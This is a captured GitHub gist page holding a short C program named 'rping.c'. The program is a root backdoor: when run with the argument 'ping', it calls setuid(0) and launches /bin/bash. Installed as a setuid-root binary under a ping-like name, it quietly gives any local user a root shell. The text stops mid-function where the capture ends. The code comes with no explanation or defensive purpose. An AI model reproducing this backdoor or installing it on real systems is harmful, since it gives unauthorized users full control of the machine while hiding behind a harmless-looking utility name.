Skip to content

Instantly share code, notes, and snippets.

@XciD
XciD / rping.c
Last active October 21, 2019 13:22
rping
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <string.h>
int main(int argc, char **argv) {
if (argc > 1 && !strcmp("ping", argv[1])) {
setuid(0);
system("/bin/bash");